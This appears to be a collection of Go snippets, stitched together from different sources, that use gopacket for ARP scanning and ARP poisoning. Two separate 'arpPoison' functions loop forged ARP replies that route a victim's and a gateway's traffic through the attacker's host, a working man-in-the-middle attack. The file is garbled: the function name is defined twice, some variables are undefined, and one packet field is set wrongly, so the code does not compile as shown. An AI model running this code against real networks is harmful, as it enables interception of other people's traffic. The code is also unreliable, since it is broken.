// writeARP writes an ARP request for each address on our local network to the
// pcap handle.
func writeARP(handle *pcap.Handle, iface *net.Interface, addr *net.IPNet) error {
// Set up all the layers' fields we can.
eth := layers.Ethernet{
SrcMAC: iface.HardwareAddr,
DstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},
EthernetType: layers.EthernetTypeARP,
}
arp := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPRequest,
SourceHwAddress: []byte(iface.HardwareAddr),
SourceProtAddress: []byte(addr.IP),
DstHwAddress: []byte{0, 0, 0, 0, 0, 0},
}
// Set up buffer and options for serialization.
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
// Send one packet for every address.
for _, ip := range ips(addr) {
arp.DstProtAddress = []byte(ip)
gopacket.SerializeLayers(buf, opts, ð, &arp)
if err := handle.WritePacketData(buf.Bytes()); err != nil {
return err
}
}
return nil
}
/*
FUNCTION: arpPoison(targetMAC, gateway, gatewayMAC string){
RETURNS: Nothing
ARGUMENTS:
string targetMAC - the victim mac address for spoofing
string gateway - the gateway IP the victim uses
string gatewayMAC - the mac address of the gateway the vicitim uses
ABOUT:
Performs arp poisoning of the target machine. Sets its traffic to all come
through the host machine, and sets the gateway to redirect its traffic for the victim to this host.
*/
func arpPoison(targetMAC, gateway, gatewayMAC string) {
// i lost my mind over this, the parseip function is broke and adds a bucket of worthless
// bytes to the beginning of the array, I wish I did this in C
// I GUESS I DID C
gw := (net.ParseIP(gateway))[12:]
tg := (net.ParseIP(target))[12:]
tgm, _ := net.ParseMAC(targetMAC)
gwm, _ := net.ParseMAC(gatewayMAC)
fmt.Print("========================")
fmt.Printf("GateWay IP:%s\nTarget IP:%s\nGateway MAC:%s\nTarget MAC:%s\n", gateway, target, gatewayMAC, targetMAC)
fmt.Print("========================")
ethernetPacket := layers.Ethernet{}
ethernetPacket.DstMAC = tgm
ethernetPacket.SrcMAC = macAddr
ethernetPacket.EthernetType = layers.EthernetTypeARP
arpPacket := layers.ARP{}
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.Protocol = 0x0800
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
//poison the target
arpPacket.SourceHwAddress = macAddr
arpPacket.SourceProtAddress = gw
arpPacket.DstHwAddress = tgm
arpPacket.DstProtAddress = tg
gwEthernetPacket := ethernetPacket
gwARPPacket := arpPacket
//poison the gateway
gwARPPacket.SourceProtAddress = tg
gwARPPacket.DstHwAddress = gwm
gwARPPacket.DstProtAddress = gw
for {
//poison target
writePoison(arpPacket, ethernetPacket)
time.Sleep(1 * time.Second)
//poison gateway
writePoison(gwARPPacket, gwEthernetPacket)
time.Sleep(5 * time.Second)
}
}
func arpPoison(device string, routerMac net.HardwareAddr, routerIP net.IP, localMac net.HardwareAddr, localIP net.IP, victimMac net.HardwareAddr, victimIP net.IP) {
// Open NIC at layer 2
handle, err := pcap.OpenLive(device, 1024, false, pcap.BlockForever)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
defer handle.Close()
// create an empty ethernet packet
ethernetPacket := layers.Ethernet{}
// create an empty ARP packet
arpPacket := layers.ARP{}
// pre populate Arp Packet Info
arpPacket.AddrType = layers.LinkTypeEthernet
arpPacket.HwAddressSize = 6
arpPacket.ProtAddressSize = 4
arpPacket.Operation = 2
arpPacket.Protocol = 0x0800
// continiously put arp responses on the wire to ensure a good posion.
for {
/******** posion arp from victim to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// create a buffer
buf := gopacket.NewSerializeBuffer()
opts := gopacket.SerializeOptions{}
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = routerIP
arpPacket.DstHwAddress = victimMac
arpPacket.DstProtAddress = victimIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData := buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
//Sleep so we don't flood with ARPS
time.Sleep(50 * time.Millisecond)
/******** end posion arp from victim to local ********/
/******** posion arp from router to local ********/
//set the ethernet packets' source mac address
ethernetPacket.SrcMAC = localMac
//set the ethernet packets' destination mac address
ethernetPacket.DstMAC = victimMac
//set the ethernet packets' type as ARP
ethernetPacket.EthernetType = layers.EthernetTypeARP
// customize ARP Packet info
arpPacket.SourceHwAddress = localMac
arpPacket.SourceProtAddress = victimIP
arpPacket.DstHwAddress = routerMac
arpPacket.DstProtAddress = routerIP
// set options for serializing (this probably isn't needed for an ARP packet)
// serialize the data (serialize PREPENDS the data)
err = arpPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
err = ethernetPacket.SerializeTo(buf, opts)
if err != nil {
fmt.Println(err)
os.Exit(1)
}
// turn the packet into a byte array
packetData = buf.Bytes()
//remove padding and write to the wire
handle.WritePacketData(packetData[:42])
/******** end posion arp from router to local ********/
//Sleep so we don't flood with ARPS
time.Sleep(5 * time.Second)
}
}